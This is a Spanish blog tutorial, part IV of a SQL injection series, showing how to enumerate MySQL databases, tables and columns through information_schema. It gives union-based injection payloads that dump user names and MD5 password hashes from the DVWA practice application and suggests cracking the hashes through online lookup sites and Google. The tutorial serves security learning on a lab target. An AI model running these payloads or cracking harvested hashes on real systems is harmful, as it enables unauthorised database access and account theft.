sábado, 14 de mayo de 2011

SQL Injection Web Attacks [Parte IV]

En el capítulo anterior aprendimos como funciona la extracción de datos usando la clausula UNION SELECT y como ejemplo mostramos como obtener el nombre de la base de datos, el nombre del usuario e incluso la versión de la base de datos. Pero esa información quizá no nos llame mucho la atención.

Cuando husmeamos dentro de una base de datos normalmente buscamos información más interesante como por ejemplo nombres de usuarios, contraseñas, correos, etc. Esa información se encuentra almacenada en tablas dentro de la base de datos que pueden tener diversos nombres como: tbl_usuarios, users, Usuario, etc. Esas tablas, a su vez, tienen varias columnas con nombres como: id_user, email, pass_usuario, etc. Pero todos esos nombres, por ahora, son desconocidos para nosotros.

Para poder extraer información de la base de datos debemos saber básicamente tres cosas: el nombre de la base de datos, el nombre de la tabla y el nombre de la columna donde está almacenada dicha información. De lo que trata este post es de cómo podemos conseguir los nombres de esas estructuras y así empezar a explorar la base de datos en busca de información útil.

La base de datos INFORMATION_SCHEMA

A partir de la versión 5.0.2 de MySQL se introdujo una base de datos llamada information_schema en la estructura de MySQL. Esta base de datos contiene información relativa a las estructuras de datos que hay en MySQL, es decir, es una base de datos de metadatos. Así por ejemplo podemos encontrar en ella información de todas las bases de datos, tablas y columnas que hay en MySQL. Pero también hay información sobre vistas, rutinas, privilegios, etc.

Aprenderemos a usar algunas de las tablas que hay en information_schema para obtener los nombres de las bases de datos, tablas y columnas que necesitamos para extraer información. No vamos a explicar en su totalidad la información contenida en information_schema por que es muy amplia y no toda es necesaria para nuestros fines. En todo caso siempre puedes consultar la documentación oficial de esta base de datos en la pagina de MySQL:

http://dev.mysql.com/doc/refman/5.0/es/information-schema.html

La tabla SCHEMATA

Esta tabla proporciona información acerca de las bases de datos (o esquemas) que hay en MySQL. Los nombres de las bases de datos se almacenan dentro de esta tabla en la columna SCHEMA_NAME. Por ejemplo, para obtener los nombres de todas las bases de datos, haríamos una consulta así:

mysql> select schema_name from information_schema.schemata;
+--------------------+
| schema_name        |
+--------------------+
| information_schema |
| database1          |
| database2          |
| database3          |
+--------------------+

La tabla TABLES

Contiene información de todas las tablas que hay en MySQL. Los campos, de esta tabla, que más nos interesan son: TABLE_SCHEMA y TABLE_NAME. El primero contiene el nombre de la base de datos a la que pertenece la tabla y el segundo el nombre de la tabla. Por ejemplo, para obtener el nombre de todas las tablas que pertenecen a la base de datos "database1", haríamos una consulta así:

mysql> select table_name from information_schema.tables where table_schema = 'database1';
+------------+
| table_name |
+------------+
| tabla1     |
| tabla2     |
| tabla3     |
+------------+

La tabla COLUMNS

Contiene información sobre todas las columnas que hay en MySQL. De esta tabla, los campos que más nos importan son: TABLE_SCHEMA, TABLE_NAME y COLUMN_NAME. Que contienen el nombre de la base de datos, el nombre de la tabla y el nombre de la columna respectivamente. Por ejemplo, para mostrar todas las columnas de la tabla "tabla1" de la base de datos "database1", haríamos lo siguiente:

mysql> select column_name from information_schema.columns where table_schema = 'database1' and table_name = 'tabla1';
+---------------------+
| column_name         |
+---------------------+
| columna1            |
| columna2            |
| columna3            |
+---------------------+

Práctica de extracción de datos en DVWA

Ahora que ya sabemos donde buscar, veamos como hacer algunas inyecciones para extraer los datos que nos importan.

En el capítulo anterior aprendimos a averiguar qué campos de la consulta se muestran, es decir, son visibles y podemos usarlos para sacar datos. Por ejemplo:

Fig. 1 - Campos visibles.

En la imagen vemos que los campos visibles son 1 y 2. Usaremos el campo 1.

Lo primero que haremos será obtener el nombre de las bases de datos. Para ello consultamos la tabla shemata de information schema con la siguiente inyección:

' union select schema_name,2 from information_schema.schemata#

Fig. 2 - Lista de bases de datos.

Observamos que las bases de datos son: information_schema, db_prueba, dvwa y joomla. Nos interesa la base de datos dvwa así que a continuación sacaremos sus tablas:

' union select table_name,2 from information_schema.tables where table_schema='dvwa'#

Fig. 3 - Lista de tablas.

Hay dos tablas dentro de dvwa: guestbook y users. Creo que la tabla users se ve mas interesante así que obtenemos sus columnas:

' union select column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#

Fig. 4 - Lista de columnas.

Hay muchas columnas pero las que más llaman la atención son: user y password.

Bien, ya tenemos toda la información que nos hacía falta.

Database : dvwa
Table    : users
Columns  : user,password

Así que haremos una inyección para obtener los usuarios y contraseñas:

' union select user,password from dvwa.users#

Fig. 5 - Usuarios y contraseñas.

Y ahí los tenemos.

Lamentablemente los passwords están encriptados con MD5, lo cual es muy frecuente :( Así que tendremos que crackearlos. Para ello podemos utilizar algunas páginas web como:


Que son bases de datos de contraseñas crackeadas donde solo colocas el hash en un formulario y si se encuentra en sus registros te muestran la clave decifrada. En nuestro caso tubimos mucha suerte :D

Fig. 6 - Crackeando los passwords.

También se puede hacer algo de Google Cracking, que no es más que meter el hash en Google y darle a buscar. Esto funciona por que hay páginas web o foros que se dedican a publicar hashes crackeados y si el nuestro está entre ellos seguro que Google nos mostrará el camino.

Fig. 7 - Google Cracking.

Y si nuestro hash no estuviera en la red, no quedará otra mas que crackearlo nosotros mismos. Pero explicar eso ya escapa a los objetivos de esta serie así que tendrás que averiguarlo tu mismo.

Hasta aquí la cuarta parte de la serie, en el siguiente capítulo veremos algunos inconvenientes que se nos pueden presentar al momento de explotar un SQLi y qué técnicas usar para sobrellevarlos.

Disculpen por demorar tanto entre capítulo y capítulo. Gracias por su paciencia a todos los que siguen esta serie, sus comentarios me motivan a continuar escribiendo :)

Saludos...

Otros capítulos de la serie:

5 comentarios:

  1. Gracias por continuar con la enseñanza

    ResponderEliminar
  2. Gracias!!!! muy bien explicado todo.

    ResponderEliminar
  3. Gracias por tomarse el tiempo de explicar. Todo muy entendible.

    ResponderEliminar
  4. Exelente se explica muy bien

    ResponderEliminar
  5. Gracias por el material, es de las mejores explicaciones que he encontrado.

    ResponderEliminar